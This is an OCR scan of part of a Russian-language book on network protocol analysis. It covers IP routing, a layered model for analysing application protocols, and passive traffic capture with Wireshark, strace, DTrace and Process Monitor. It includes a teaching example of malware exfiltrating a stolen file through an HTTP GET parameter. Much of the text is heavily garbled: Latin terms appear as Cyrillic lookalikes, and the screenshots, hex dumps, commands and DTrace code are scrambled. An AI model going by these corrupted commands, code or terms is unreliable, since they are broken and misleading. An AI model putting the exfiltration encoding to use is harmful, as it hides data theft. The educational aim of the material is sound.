ным сетям до тех пор, пока те не достигнут нужного узла назначения, 
как показано на рис. 1.6. 

На рисунке видны две сети Еһегпеї, каждая из которых имеет 
отдельные диапазоны ІР-адресов. Следующее описание объясняет, 
как ІР использует эту модель для отправки данных от узла Ө в сети 1 
к узлу Ө в сети 2. 


1. Узел сетевого стека операционной системы ® инкапсулирует 
данные прикладного и транспортного уровней и создает ІР- 
пакет с адресом отправителя 192.1.1.101 и адресом получателя 
200.0.1.50. 
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2. Сетевому стеку необходимо отправить кадр Ећегпеї, но по- 
скольку ІР-адрес назначения не существует ни в одной сети 
Есһегпеѓ, к которой подключен узел, стек обращается к таблице 
маршрутизации операционной системы. В этом примере табли- 
ца маршрутизации содержит запись для ІР-адреса 200.0.1.50. 
Запись указывает на то, что маршрутизатор Ө на ІР-адресе 
192.1.1.1 знает, как добраться до этого адреса назначения. 


5. Операционная система использует протокол АВР для поиска 
МАС-адреса маршрутизатора по адресу 192.1.1.1, а исходный 
ІР-пакет инкапсулируется в кадр Ећегпеї с этим МАС-адресом. 


4. Маршрутизатор получает кадр Еегпеї и распаковывает ІР-па- 
кет. Когда маршрутизатор проверяет ІР-адрес назначения, он 
определяет, что ІР-пакет предназначен не для маршрутизатора, 
а для другого узла в другой подключенной сети. Маршрутизатор 
ищет МАС-адрес 200.0.1.50, инкапсулирует исходный ІР-пакет 
в новый кадр Ефегпе и отправляет его в сеть Ө. 


5. Узел назначения получает кадр Еһегпеї, распаковывает ІР- 
пакет и обрабатывает его содержимое. 


Сеть Ећегпеѓ 1 Сеть Ећегпе 2 


192.1.1.100 200.0.1.10 


192.111 200.0.1.1 


Маршрутизатор 200.0.1.50 


192.1.1.101 : 66-77-88-99-АА- 
МАС: 00-11-22-33-44-55 ры 


192.1.1.50 200.0.1.100 


Рис. 1.6. Пример маршрутизируемой сети, соединяющей две сети Епетет 


Данный процесс маршрутизации может повторяться несколько 
раз. Например, если маршрутизатор не был бы подключен к сети, 
содержащей узел 200.0.1.50 напрямую, он сверился бы со своей таб- 
лицей маршрутизации и определил бы следующий маршрутизатор, 
которому он мог бы отправить ІР-пакет. 

Очевидно, что для каждого узла сети было бы непрактично выяс- 
нять, как добраться до другого узла в интернете. Если для пункта на- 
значения нет явной записи маршрутизации, операционная система 
предоставляет запись в таблице маршрутизации по умолчанию, на- 
зываемую шлюзом по умолчанию. Она содержит ІР-адрес маршрутиза- 
тора, который может пересылать ІР-пакеты по назначению. 
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Моя модель для анализа сетевых протоколов 


ІРЅ описывает, как работает обмен данными по сети; однако для ана- 
лиза большая часть этой модели не актуальна. Проще использовать 
мою модель, чтобы понять, как ведет себя сетевой протокол при- 
кладного уровня. Эта модель содержит три уровня, как показано на 
рис. 1.7, где видно, как я буду анализировать НТТР-запрос. 

Вот три уровня моей модели: 


» уровень содержимого - обеспечивает смысл того, что переда- 
ется. Как видно на рис. 1.7, смысл состоит в том, чтобы выпол- 
нить запрос файла йпазе.)р=. по протоколу НТТР; 


• уровень кодирования - предоставляет правила, определя- 
ющие, как вы представляете содержимое. В данном примере 
НТТР-запрос кодируется как запрос по протоколу НТТР с ис- 
пользованием метода СЕТ, который указывает файл, который 
нужно получить; 


• транспортный уровень - предоставляет правила для управле- 
ния передачей данных между узлами. В нашем примере запрос 
по протоколу НТТР с использованием метода СЕТ отправляется 
через ТСРЛР-соединение на порт 80 на удаленном узле. 


Модель протокола 


Уровень содержимого 
(запрос файла) 


У А 
НЫ СЕТ /іладе. ра НТТР/1.1 


4500 0043 5091 4000 8006 0000 сдав баба 
983а 9544 40е0 0050 5ҒҒ адеб бас2 4254 
5018 0102 78са 0000 4745 5420 2#69 6961 
6765 2еба 7067 2048 5454 502# 312е 3104 
баба да ЕЕ 


Я хочу получить файл ітаде. јрд 


Транспортный уровень 


Рис. 1.7. Моя концептуальная модель протокола 


Такое разделение модели снижает сложность работы с протокола- 
ми прикладного уровня, поскольку позволяет отфильтровывать те 
детали сетевого протокола, которые не имеют значения. Например, 
поскольку нам все равно, как данные ТСРЛР отправляются на удален- 
ный узел (то, что они каким-то образом туда попадают, мы считаем 
само собой разумеющимся), мы просто рассматриваем их как дан- 
ные, передающиеся в двоичном режиме, который просто работает. 

Чтобы понять, почему подобная модель протокола полезна, рас- 
смотрим такой пример: представьте, что вы проверяете сетевой тра- 
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фик вредоносного ПО. Вы обнаруживаете, что вредоносная програм- 
ма использует протокол НТТР для получения команд от оператора 
через сервер. Например, оператор может попросить вредоносную 
программу перечислить все файлы на жестком диске зараженного 
компьютера. Список файлов можно отправить обратно на сервер, по- 
сле чего оператор может запросить загрузку определенного файла. 

Если проанализировать протокол с точки зрения того, как оператор 
будет взаимодействовать с вредоносным ПО, например запрашивая 
файл для загрузки, новый протокол разбивается на уровни, показан- 
ные на рис. 1.8. 


Модель протокола 


Уровень содержимого 


(отправить запрос файла) Отправка файла зесге{ .4ос с содержимым 1122... 


Уровень кодирования 


(простая текстовая команда) ЗЕ№ ѕесгеї.ос 1122.. 


Т Й А , 
ТРИ Ру СЕТ /4таде. јрд?е=$Е№%205есгеё. йос%11%22 НТТР/1.1 


Рис. 1.8. Концептуальная модель протокола вредоносного ПО, использующего 
протокол НТТР 


В следующем списке приводится объяснение каждого уровня но- 
вой модели протокола: 


• уровень содержимого - вредоносное приложение отправляет 
украденный файл ѕесгеѓ. дос на сервер; 


• уровень кодирования - кодирование команды для отправки 
украденного файла представляет собой простую текстовую стро- 
ку с командой ЗЕМ, за которой следует имя и данные файла; 


• транспортный уровень - протокол использует параметр НТТР- 
запроса для передачи команды. Он использует стандартный 
механизм процентного кодирования, что делает его легальным 
НТТР-запросом. 


Обратите внимание, что в этом примере мы не рассматриваем 
отправку НТТР-запроса через ТСРЛР; мы объединили кодирование 
и транспортный уровень на рис. 1.7 в транспортный уровень, пока- 
занный на рис. 1.8. Хотя вредоносное ПО по-прежнему использует 
протоколы более низкого уровня, такие как ТСРЛР, эти протоколы 
не важны при анализе команды вредоносной программы на отправ- 
ку файла. Причина, по которой это не важно, заключается в том, что 
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можно рассматривать отправку НТТР-запроса через ТСРЛР как еди- 
ный транспортный уровень, который просто работает, и сосредото- 
читься конкретно на уникальных командах вредоносного ПО. 

Сузив рамки до уровней протокола, которые нужны нам для анали- 
за, мы избегаем лишней работы и концентрируемся на уникальных 
аспектах протокола. С другой стороны, если бы мы проанализировали 
этот протокол, используя уровни, изображенные на рис. 1.7, то можно 
было бы предположить, что вредоносная программа просто запраши- 
вает файл ітағе.јр=, потому что казалось бы, что это все, что делает 
НТТР-запрос. 


Заключительное слово 


В этой главе был представлен краткий обзор основ сетей. Мы обсуди- 
ли 1Р5, включая протоколы, с которыми вы столкнетесь в реальных 
сетях, и увидели, как данные передаются между узлами в локальной 
сети, а также в удаленных сетях посредством маршрутизации. Кроме 
того, я описал, как рассматривать сетевые протоколы прикладного 
уровня, чтобы вам было проще сосредоточиться на уникальных осо- 
бенностях протокола и тем самым ускорить его анализ. 

В главе 2 мы будем использовать эти основы, что поможет нам при 
перехвате сетевого трафика, который мы будем анализировать. Цель 
перехвата сетевого трафика - получить доступ к данным, необходи- 
мым для запуска процесса анализа, определить, какие протоколы ис- 
пользуются, и в конечном итоге обнаружить проблемы безопасности, 
которые можно применять для компрометации приложений, исполь- 
зующих эти протоколы. 


ПЕРЕХВАТТРАФИКА 


дивительно, но перехват полезного трафика может оказаться 

сложной задачей при анализе протокола. В этой главе описыва- 

ются два разных метода перехвата: пассивный и активный. При 
пассивном перехвате вы не взаимодействуете С трафиком напрямую, 
а извлекаете данные по мере их передачи по сети, что должно быть 
вам знакомо по работе стакими инструментами, как МЛгезВагК. 

Вы увидите, что разные приложения предоставляют разные ме- 
ханизмы (у которых есть свои достоинства и недостатки) для пере- 
направления трафика. При активном перехвате вы вмешиваетесь 
В трафик между клиентским приложением и сервером; это довольно 
мощный метод, но он может привести к осложнениям. Можно рас- 
сматривать активный перехват сточки зрения прокси или даже атаки 
«человек посередине». Рассмотрим эти техники более подробно. 


Пассивный перехват сетевого трафика 


Пассивный перехват - относительно простой метод: обычно он не 
требует специального оборудования, и вам не нужно писать соб- 
ственный код. 
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На рис. 2.1 показан распространенный сценарий: клиент и сервер 
обмениваются данными через Еіћегпеї по сети. 


Клиентское (Серверное 
приложение приложение 


Устройство пассивного перехвата 


Рис. 2.1. Пример пассивного перехвата 


Пассивный перехват может происходить в сети, путем захвата тра- 
фика по мере его прохождения либо с помощью анализа трафика не- 
посредственно на хосте клиента или сервера. 


Краткое руководство по Мігеѕћагк 


МЛтезрагК - пожалуй, самое популярное приложение для анализа тра- 
фика. Оно кросс-платформенное и простое в использовании. Кроме 
того, у него имеется множество встроенных функций для анализа 
протоколов. В главе 5 вы узнаете, как написать диссектор, который 
поможет вам при анализе протокола, а пока давайте настроим МИте- 
ѕһагКк для перехвата ІР-трафика из сети. 

Для перехвата трафика из интерфейса Еегпеї (проводного или 
беспроводного) устройство перехвата должно находиться в беспоря- 
дочном режиме. Устройство в беспорядочном режиме получает и обра- 
батывает любой кадр Ећегпеї, который видит, даже если он не пред- 
назначен для данного интерфейса. Перехватить трафик приложения, 
работающего на том же компьютере, не сложно: просто отслеживайте 
исходящий сетевой интерфейс или сетевой интерфейс «внутренней 
петли» (более известный как локальный хост). В противном случае 
вам может потребоваться сетевое оборудование, такое как концен- 
тратор или настроенный коммутатор, чтобы обеспечить отправку 
трафика на свой сетевой интерфейс. 

На рис. 2.2 показано представление по умолчанию при перехвате 
трафика из интерфейса Ећегпеѓ. 

Здесь есть три основные области. Область ® показывает времен- 
ную шкалу перехваченных необработанных пакетов. На этой шкале 
представлен список ІР-адресов отправителей и получателей, а также 
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сводная информация о декодированном протоколе. Область @ предо- 
ставляет пакет в разобранном виде, разделенный на отдельные уров- 
ни, соответствующие моделям сетевого стека О5Т. Область Ө показы- 
вает перехваченный пакет в необработанном виде. 


Я “оса Агез Соппесбоп – о х 


Не Ей Мем бо Саріше Апајуге Ѕіайзсѕ Тыернопу \ММтыезз Тооб Нар 


динго ПРЖЕ Зе = Е заан 


(М [Арру а зрізу ЯНег ... <Сіл ЕЗ -) ефгеззюп.. + 
№. тте Ѕошсе Оесёпабоп Ргокосої епо по Г ^ 
7 0.168663 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР ѕевтепё о? а геаззеть1е4 РОИ 
8 0.169475 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР зертепе оф а геаѕѕеть1ей РОИ 
9 0.169476 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР зертепЕ о? а геаѕѕепЬ1ей РОШ 
10 0.169508 192.168.10.106 52.222.232.35 ТСР 54 37702 + 443 [АСК] 5е4=1 Аск=5047 Міп=256 1еп=@ 
11 0.169912 52.222.232.35 192.168.19.196 ТСР 1514 [ТСР зертепЕ о? а геаззеть1е4 РОИ 
12 0.169912 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР зертепе о+ а геаѕѕеть1ей РОИ 
13 0.169932 192.168.10.106 52.222.232.35 ТСР. 54 37702 + 443 [АСК] Ѕед=1 АсК=7967 Міп=256 Іеп=@ 
14 0.171311 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР зертепе оф а геаѕѕеть1еа РОЈ] 
15 0.171312 52.222.232.35 192.168.19.196 ТСР 1514 [ТСР зертепЕ о? а геаззетЬ1е4 РОИ 
16 0.171332 192.168.10.106 52.222.232.35 ТСР 54 37702 + 443 [АСК] $е4=1 Аск=10887 Міп=256 1еп=@ 
17 0.172858 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР зертепЕ о? а геаѕѕепЬ1ей РОИ 
18 0.172859 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР зертепе оф а геаѕѕеть1ей РОИ 
19 0.172879 192.168.10.106 52.222.232.35 ТСР 54 37702 + 443 [АСК] 5е4=1 Аск=13807 Міп=256 1еп=@ 
20 0.173091 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР зертепе оф а геаѕѕеть1ей РОИ 
21 0.173091 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР ѕеБтепё оф а геаззетЬ1е4 РОИ 
22 0.173092 52.222.232.35 192.168.10.106 11$\1.2 407 Арр1іса+іоп Оаа 
23 Ө.173093 52.222.232.35 192.168.10.106 1151.2 539 Арр1їсаіоп Бата 
24 0.173093 52.222.232.35 192.168.10.106 ТСР 1514 [ТСР зертепе оф а геаѕѕеть1ей РОУ 
25 #173993 52.222.232.35 192 .16#.19.196 ТСР 1514 ГТСР <ертеп+ оф а геа<<етћ1есі РПІ > 
< > 
Ғгате 13: 54 Буеѕ оп міге (432 Ьїёѕ), 54 Буфез саршгей (432 6445) оп іпќегѓасе Ө ^ 
Ейһегпеё ТТ, Ѕгс: 0е11 6с:78:8е (5с:#9:00:6с:78:8е), 05+: Тр-1іпкТ сЬ:Ыс:8е (14:сс:20:сЬ:Ьс:8е) ө 
Іпёегпеё Ргоёосо1 Мегѕіоп 4, 5гс: 192.168.10.106, 051: 52.222.232.35 


У Тгапѕтіѕѕіоп Сопёго1 Ргофосо1, Ѕгс Рог: 37702, 05 Роге: 443, Ѕед: 1, Аск: 7967, Іеп: Ө 

5оигсе Рог: 37702 

Оеѕёіпаёіоп Роге: 443 

[5геат іпаех: ө] 

[ТСР Ѕевтепё еп: Ө] 

Ѕедиепсе питбег: 1 (геЈа+іме зедиепсе пипьег) 

Аскпом1ейвтеп пипбег: 7967 (ге1аёіме аск пипфег) 

Неадег Гепвћ: 20 Ьу+еѕ 

> ЕЛарз: Өхө10 (АСК) 

Міпӣом ѕіге уа]ше: 256 

[Са1си1аќей міпдом ѕіге: 256] 
ааа а КРИЗИ 
14 сс 20 сЬ Бс 8е 5с +9 Чй бс 78 8е 08 00 45 09 
ө 28 61 79 40 00 80 06 00 00 сд а8 ба ба 34 де 
е8 23 93 46 01 ЬЬ 82 84 25 47 дс Б1 63 95 50 10 
01 00 её 2е 90 ОО онининннниь ....-- 


ль, 1 


О 7 нате (ате), 54Ьуіеѕ | Рабкейз: 5560 * Оіѕріауед: 5560 (100.0%) Ргойе: Оеѓаці 


Рис. 2.2. Представление Иїгеѕһагк по умолчанию 


Сетевой протокол ТСР основан на потоках и предназначен для 
восстановления после потери пакетов или повреждения данных. 
Характер сетей и ІР не гарантируют, что пакеты будут получены 
в определенном порядке. Поэтому, когда вы перехватываете пакеты, 
представление временной шкалы, возможно, будет трудно интерпре- 
тировать. К счастью, Мігеѕћагк предлагает диссекторы для известных 
протоколов, которые обычно восстанавливают весь поток и предо- 
ставляют всю информацию в одном месте. Например, выделите пакет 
в ТСР-соединении на временной шкале, а затем выберите Апа]уте > 
ЕоПом ТСР Ѕітеат из главного меню. Должно появиться диалоговое 
окно, похожее на то, что изображено на рис. 2.3. Для протоколов без 
диссектора Мігеѕһагк может выполнить дешифровку потока и пред- 
ставить его в удобном для просмотра виде. 

МЛтгезрвагК – это комплексный инструмент, и освещение всех его 
функций выходит за рамки этой книги. Если вы незнакомы с ним, 
почитайте, например, Ргасііса! РаскеЕ Апа!уз$15, Зга Еаііоп (Мо Ѕїагсһћ 
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Ргезз, 2017), чтобы узнать о многих его полезных функциях. МЙге- 
ѕһагк незаменим для анализа сетевого трафика и распространяется 
бесплатно под лицензией СРГ. 


Г | Мігеѕһагк - РоНоми ТСР 5+геат (ёср.ѕігеат ед 11) · илгезпак_7САСЗАВб-Р908-4ВЕВ-80... = О х 


СЕТ / НТТР/1.1 

НоѕЕ: мми.БООБ1е .сот 
Џѕег-Авепё: сиг1/7.47.0 
Ассер*: */* 


НТТР/1.1 302 Роипд 

Сасһе-Сопёго1: ргімаёе 

Сопфеп&-Туре: ехЁ/һёт1; сһагѕеЁ=0ТЕ-8 

Кетеггег-Ро1ісу: по-геҒеггег 

Іосаіоп: һр: / /имм. Боов1е.со.ик/ ?вҒе гі=сгёеі=СК5КМехьЈасЕакивгадн 
Сопёепё-ГепвЁһ: 259 

Рае: Тие, 23 Мау 2017 11:20:57 БМТ 


<НТМЕ><НЕАО><тефа һ+р-едиім="сопёепё-+уре" сопёепё="бехё/һёті1 ; сһагѕеё=иЁҒ-8"> 
<ТІТІЕ»>302 Момей</ТІТІЕ></НЕАЮ><ВОрү> 

<Н1>302 Моме</Н1> 

Тһе доситепе һаѕ томей 

<А НВЕР="НЕЕр: / Лом. Боов1е.со.иК/ ве га=сг&атр; еі=СК5КМеХЬЈасЕакивгаАнН" >һеге</А>. 
</ВОрү></НТтМі> 


3 дет ре, 3 ѕегуег рќез, 3 вит. 


Епбге сопуегзабоп (581 Бућеѕ) У: Ѕһом апа ѕауе дайа аѕ АЅСП У | Ѕігеат |11 {$ 
Епа: Епа Мех 
АКег Ои ТЬ& Ѕігеат Ргіпё Ѕауе аз... Вак Соѕе Неір 


Рис. 2.3. Следуем за потоком ТСР 


Альтернативные методы пассивного перехвата 


Иногда использование такой программы-анализатора нецелесо- 
образно, например в ситуациях, когда у вас нет полномочий на пе- 
рехват трафика. Возможно, вы выполняете тест на проникновение 
в системе без доступа с правами администратора или на мобильном 
устройстве с оболочкой с ограниченными привилегиями, или вам 
просто нужно убедиться, что вы просматриваете трафик только для 
тестируемого приложения. Это не всегда легко сделать с помощью 
программы-анализатора трафика, если вы не коррелируете трафик 
по времени. В этом разделе я опишу несколько методов извлечения 
сетевого трафика из локального приложения без использования по- 
добного инструмента. 


Отслеживание системных вызовов 


Многие современные операционные системы предоставляют два ре- 
жима выполнения. Режим ядра работает с высоким уровнем приви- 
легий и содержит код, реализующий основные функции ОС. В поль- 
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зовательском режиме выполняются повседневные процессы. Ядро 
предоставляет службы пользовательскому режиму, экспортируя на- 
бор специальных системных вызовов (рис. 2.4), позволяя пользова- 
телям получать доступ к файлам, создавать процессы и - что самое 
главное для нас – подключаться к сетям. 


(Сетевая 
подсистема 


Сеть 


Сервер 


Граница режима ядра / . 
пользовательского режима 


со 
о 
сп 
2 
[2] 
= 
= 
= 
> 
Б 
= 
№) 


Системные библиотеки 


Клиентское приложение 


Рис. 2.4. Пример обмена данными по сети 
через системные вызовы 


Когда приложение хочет подключиться к удаленному серверу, оно 
отправляет специальные системные вызовы ядру ОС, чтобы открыть 
соединение. Затем приложение считывает и записывает сетевые дан- 
ные. В зависимости от операционной системы, в которой работают 
ваши сетевые приложения, можно отслеживать эти вызовы напря- 
мую, чтобы пассивно извлекать данные из приложения. 

Большинство Опіх-подобных систем реализуют системные вызо- 
вы, напоминающие модель сокетов Беркли для обмена данными. Это 
неудивительно, поскольку протокол ІР изначально был реализован 
в операционной системе ВегкеІеу ЗоЁ\мгаге ріѕігібиіопр (В$) 4.2 Опіх. 
Данная реализация сокетов также является частью РОЅІХ, что дела- 
ет ее стандартом де-факто. В табл. 2.1 показаны некоторые наиболее 
важные системные вызовы. 

Чтобы узнать больше о том, как работают эти системные вызовы, 
есть отличная книга Тһе ТСР/ІР Сшае (№ Ѕїагсһ Ргез$, 2005). Также 
доступно множество онлайн-ресурсов, а большинство Опіх-подобных 
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операционных систем содержат руководства, которые можно про- 
смотреть в терминале с помощью команды пап 2 5уѕсаї1_ пате. Теперь 
посмотрим, как отслеживать системные вызовы. 


Таблица 2.1. Распространенные системные вызовы Опіх для работы 
в сети 


Имя Описание 

ѕоскеї Создает новый дескриптор файла сокета 

соппесё Подключает сокет к известному ІР-адресу и порту 

Біпа Привязывает сокет к известному локальному ІР-адресу и порту 


гесу, геай, гесуЁгоп Получает данные из сети через сокет. Универсальная функция 
геа4 предназначена для чтения из файлового дескриптора, тогда 
как гесу и гесуЁгот являются специфичными для АР! сокета 


ѕепа, мигіёе, ѕепі#гот Отправляет данные по сети через сокет 


Утилита ѕїігасе для Шіпих 


В Ипих можно напрямую отслеживать системные вызовы из пользова- 
тельской программы без специальных полномочий, если только при- 
ложение, которое вы хотите отслеживать, не запускается от имени при- 
вилегированного пользователя. Многие дистрибутивы Шпих содержат 
удобную утилиту ѕігасе, которая сделает большую часть работы за вас. 
Если она не установлена по умолчанию, скачайте ее из диспетчера па- 
кетов вашего дистрибутива или скомпилируйте из исходного кода. 

Выполните следующую команду, заменив /ра/о/арр на приложе- 
ние, которое вы тестируете, а вместо агаѕ укажите необходимые пара- 
метры для журналирования сетевых системных вызовов, используе- 
мых этим приложением: 


$ ${гасе -е Ёгасе=пеЁмогК,геай,мгіёе /раёћ/о/арр агдѕ 


Проследим за сетевым приложением, которое читает и записывает 
несколько строк, и посмотрим на вывод ѕігасе. В листинге 2.1 показа- 
ны четыре записи журнала (посторонние записи были удалены для 
краткости). 


Листинг 2.1. Пример вывода утилиты ѕїгасе 


$ ${гасе -е Ёгасе=пеёмогК,геай,мгіёе сизФотарр 

- - обрезано- - 

зоскее(РЕ ІМЕТ, $0СК_5ТВЕАМ, ТРРВОТО_ТСР) = 3 

соппесЕ(3, {ѕа_Ғатіу=АЕ_ІМЕТ, Ѕ1п_рогі=ћопѕ(5555), 
$1п_аЧдЧг=1пее_а44г("192.168.10.1")}, 16) = 0 

мгіёе(3, "Не11о Мог1а! \п", 13) = 13 

геай(3, "Воо! \п", 2048) = 5 


Первая запись ® создает новый сокет ТСР, которому назначается 
дескриптор 5. Следующая запись Ө показывает системный вызов соп- 
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їгасесоппесі.ӣ 


пес, используемый для установления ТСР-соединения с ІР-адресом 
192.168.10.1 на порту 5555. Затем приложение записывает строку Не1 - 
1о Иог14! Ө, перед тем как прочитать строку Воо! Ө. Вывод показыва- 
ет, что с помощью этой утилиты можно получить неплохое представ- 
ление о том, что делает приложение на уровне системного вызова, 
даже если у вас нет высоких привилегий. 


Мониторинг сетевых подключений с помощью ЮТғасе 


ОТгасе – очень мощный инструмент, доступный во многих Чшх-по- 
добных системах, включая $0]агіѕ (для которой и был первоначально 
разработан), тасОЅ и ЕгееВѕ$р. Он позволяет устанавливать обще- 
системные датчики специальных провайдеров, включая системные 
вызовы. Его можно настроить с помощью сценариев, написанных на 
языке, где используется синтаксис, подобный С. 

Влистинге 2.2 показан пример сценария, который отслеживает ис- 
ходящие [Р-соединения, используя ОТгасе. 


Листинг 2.2. Простой сценарий ОТгасе для отслеживания системного 
вызова соппесї 


[* ЕгасесоппесЁ.і - простой сценарий ОТгасе для отслеживания системного вызова 


соппесе */ 

ѕёгисЁ ѕоскаййг іп { 
ѕһогЁ ѕіп_ҒатіЛу; 
ипѕідпеа ѕһогё іп рогі; 
іп_аддг ё ѕіп ааг; 
сһаг ѕіп_2его[8]; 

Н 


ѕуѕса11: : соппес{ :епгу 
[аг92 == $12е0#($ЕгисЕ ѕоскаййг іп) / 


{ 

Ө аййг = (5Їгисі ѕоскайіг іп*)соруіп(агд1, агд2); 

Ө ргіпЕЕ("ргосеѕ5:'%5' %5:%4", ехеспаме, іпеЁ пёор(2, &аййг->ѕіп айг), 
пёоћѕ (адаг ->ѕ1іп_рогё)); 


Этот простой сценарий отслеживает системный вызов соппесі 
и выводит соединения ТСР и ОПР версии ГРу4. Системный вызов при- 
нимает три параметра, агд0, агд1 и агд2, на языке сценариев ОТгасе, 
которые инициализируются в ядре. Параметр аг90 - это дескриптор 
файла сокета (который нам не нужен), агд1 – это адрес сокета, к кото- 
рому мы подключаемся, а агд2 – длина этого адреса. Параметр 9 - это 
дескриптор сокета, который в данном случае нам не нужен. Следую- 
щий параметр - адрес памяти пользовательского процесса структуры 
адресов сокетов. Это адрес подключения, и у него могут быть разные 
размеры в зависимости от типа сокета. (Например, адреса ГРу4 мень- 
ше, чем ГРуб.) Последний параметр - длина структуры адресов соке- 
тов в байтах. 
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Сценарий определяет структуру ѕоскаййг іп, которая используется 
для соединений 1ІРу4 Ө; во многих случаях эти структуры можно ско- 
пировать напрямую из системных файлов заголовков С. Системный 
вызов, который нужно будет отслеживать, указан в строке под номе- 
ром Ө. В строке Ө используется фильтр ОТгасе, чтобы гарантировать, 
что мы отслеживаем только те вызовы, где адрес сокета имеет тот же 
размер, что и ѕоскаййг іп. В строке под номером Ө структура ѕосКк- 
аййг_ іп копируется из вашего процесса в локальную структуру для 
проверки со стороны ОТгасе. В строке под номером Ө имя процесса, 
[Р-адрес назначения и порт выводятся на консоль. 

Чтобы запустить этот сценарий, скопируйте его в файл ѓгасесоп- 
песі.аӣ, а затем выполните команду йЁгасе -$ Егасесоппес*.4 от имени 
привилегированного пользователя. Если вы используете приложе- 
ние, подключенное к сети, то результат должен выглядеть, как пока- 
зано в листинге 2.3. 


Листинг 2.3. Пример вывода из файла сценария їгасесоппесі. 


ргосеѕ5: 'Соод1е Сһготе' 173.194.78.125:5222 
ргосеѕ5: 'Соод1е Сһготе' 173.194.66.95:443 
ргосеѕ5: 'Соод1е Сһготе' 217.32.28.199:80 
ргосеѕ5: 'пёра' 17.72.148.53:123 
ргосеѕ5 : 'Маі1' 173.194.67.109:993 
ргосеѕ5 : 'зупсдеРац{$4' 17.167.137.30:443 
ргосеѕ5: 'Айїйгеѕ5ВоокЅошг! 17.172.192.30:443 


Вывод показывает отдельные подключения к ІР-адресам, имя про- 
цесса, например 'Соод1е Сһготе', ІР-адрес и порт подключения. К со- 
жалению, такой вывод не всегда так полезен, как вывод ѕігасе в іпих, 
но ОТгасе, безусловно, является ценным инструментом. Эта демон- 
страция лишь поверхностно описывает возможности ОТгасе. 


Ргосеѕѕ Мопіїог в Иіпаоиѕ 


В отличие от Опіх-подобных систем, Міпаомѕ реализует свои сетевые 
функции пользовательского режима без прямых системных вызовов. 
Доступ к сетевому стеку предоставляется через драйвер, и при уста- 
новлении соединения используются системные вызовы ореп, геай 
и мгіќе, чтобы настроить сетевой сокет для использования. Даже если 
бы Міпаоуѕ поддерживала инструмент, подобный ѕїгасе, такая реа- 
лизация затрудняет мониторинг сетевого трафика на том же уровне, 
что и в других платформах. 

Начиная с Уіѕїа и более поздних версий М/іпӣоуѕ поддерживает 
фреймворк генерации событий, который позволяет приложениям от- 
слеживать активность в сети. Писать для этого собственную реализа- 
цию - дело довольно непростое, но, к счастью, уже есть инструмент, 
который сделает это за вас: Ргосеѕѕ Мопіїог от компании М!сгозой. На 
рис. 2.5 показан основной интерфейс Ргосеѕѕ МопКог. Фильтруются 
только события, связанные с сетевыми подключениями. 
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у Ргосеѕѕ Мопйог - ЗузищегпаЕ: млууг.ѕуѕіпёегпаіѕ.сот – х 


Ее Еа Емепё Еіќег Тоо Орёопз Нар 1) 


Бы ЕЕ | 
Тте ... Ргосезз Мате РІО Орегабоп Раћ Везий Оеёай ^ 
12:26:.. бейзрооізу ехе 3212 00Р Ѕепа опух:55084 -> 192 168.10.70:зптр 50ССЕЅ5 1епд#: 78. зедпит: 0. соппіа: 0 
12:26:.. 18: СОАЅгу ехе 10672 ОР Ѕепа опух:51358 -> 192.168.10.70:зптр 50ССЕЅ5 епо: 50. зедпит: 0. соппіа: 0 
12:26:.. панзрооізу ехе 3212 Орр Ѕепа опух:55084 -> 192.168.10.70:зптр 50ССЕЅ5 епо: 112. зедпит: 0, соппіа: 0 
12:26:.. К тзузтоп ехе 6580 ТСР Весеме опух:37105 -> опух:37106 50ССЕЅ5 еп: 221, зедпит: 0, соппіа: 0 
12:26: С емепмехе 18088 ТСР Ѕепа опух:37106 -> опух:37105 50ССЕЅ5 Іепоіћ: 221, зіайіте: 118739281, 
12:26:... Е демепу ехе 18088 ТСР Весеме опух:37106 -> опух:37105 50ССЕЅ5 епо: 86, зедпит: 0. соппіа: 0 
12:26: тзузтоп.ехе 6580 ТСР Ѕепа опух:37105 -> опух:37106 Ѕ0ССЕЅ5 Іепоћ: 86, зѓайте: 118739281. ‹ 
я ЎЗОР Ѕепа опух:51363 -> 192.168.0.19:зптр $ИССЕ$ 5 епо: 46, зедпит: 0, соппіа: 0 

12:26;... 6 Фемепмехе 18088 2Ъ ТСР Оіѕсоппесі опух:37775 -> опух:49154 50ССЕЅ5 епо: 0, зедпит: 0, соппіа: 0 
12:26: 18: СОАЅгу ехе 10672 00Р Ѕеті опух:51368 -> опух:зптр Ѕ0ССЕЅ5 епо: 46, зедпит: 0. соппіа: 0 
12:26:.. усоосіеатчезуп.. 9552 ФТСР Ѕепі опух:35685 -> 66.102.1.125:5222 50ССЕЅ5 1епоіћ: 53, іайіте: 118739354, ‹ 
12:26:.. ж: СОАЅгу ехе 10672 А 00ОР Ѕепа опух:51373 -> 192.168.10.70:зптр Ѕ0ССЕЅ5 епо: 50, зедпит: 0. соппіа: 0 
12:26:.. Ф@спотеехе 12792 ТСР Весеме опух:37738 -> 104.19.194.1021рѕ 50ССЕЅ5 епо: 46, зедпит: 0. соппіа: 0 
12:26:. @спотеехе 12792 ТСР Весеме опух:37738 -> 104.19.194.102#рз 50ССЕЅ5 епо: 31. зедпит: 0, соппіа: 0 
12:26:.. @сһотеехе 12792 ТСР Овсоппес! опух:37738 -> 104.19.194.102+#рз 50ССЕЅ5 1епоћ: 0, зедпит: 0, соппіа: 0 
12:26;.. 18: СОАбгу ехе 10672 00Р Ѕепі опух:51378 -> 192.168.10.105:зптр 50ССЕЅ5 епо: 46, зедпит: 0. соппіа: 0 
12:26:.. @споте.ехе 12792 ТСР Весеме опух:37736 -> 104.20.92 431ірѕ 50ССЕЅ5 Гепа: 46, зедпит: 0. соппій: 0 
12:26:.. @спотеехе 12792 ТСР Весеме опух:37736 -> 104.20.92.43рз Ѕ0ССЕЅ5 епоћ: 31, зедпит: 0, соппіа: 0 
12:26:. @сһотеехе 12792 ТСР Оіѕсоппесї опух:37736 -> 104.20.92.43ірз 50ССЕЅ5 епо: 0, зедпит: 0, соппіа: 0 
12:26: 18: зусһозі ехе 1992 ЦОР Ѕепа с0а8:а6а:300:0:3071:93а:82е7#:65454 -> 808:808:557:7261:7070:6572:2.. $0ССЕЅ5 епо: 43, зедпит: 0, соппіа: 0 
